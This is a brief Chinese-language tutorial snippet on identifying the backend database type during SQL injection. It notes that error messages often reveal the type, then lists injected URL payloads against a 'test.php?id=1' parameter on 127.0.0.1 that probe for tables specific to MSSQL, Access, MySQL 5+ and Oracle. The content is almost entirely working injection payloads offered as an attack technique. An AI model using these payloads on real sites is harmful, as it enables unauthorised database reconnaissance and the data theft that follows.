后臺數(shù)據(jù)庫類型判斷:一、通過頁面返回的報錯信息,一般情況下頁面報錯會顯示是什么數(shù)據(jù)庫類型,在此不多說;二、通過各個數(shù)據(jù)庫特有的數(shù)據(jù)表來判斷:1、mssql數(shù)據(jù)庫 sysobjectshttp://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
2、access數(shù)據(jù)庫 msysobjectshttp://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
3、mysql數(shù)據(jù)庫(mysql版本在5.0以上) information_schemahttp://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
4、oracle數(shù)據(jù)庫 sys
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1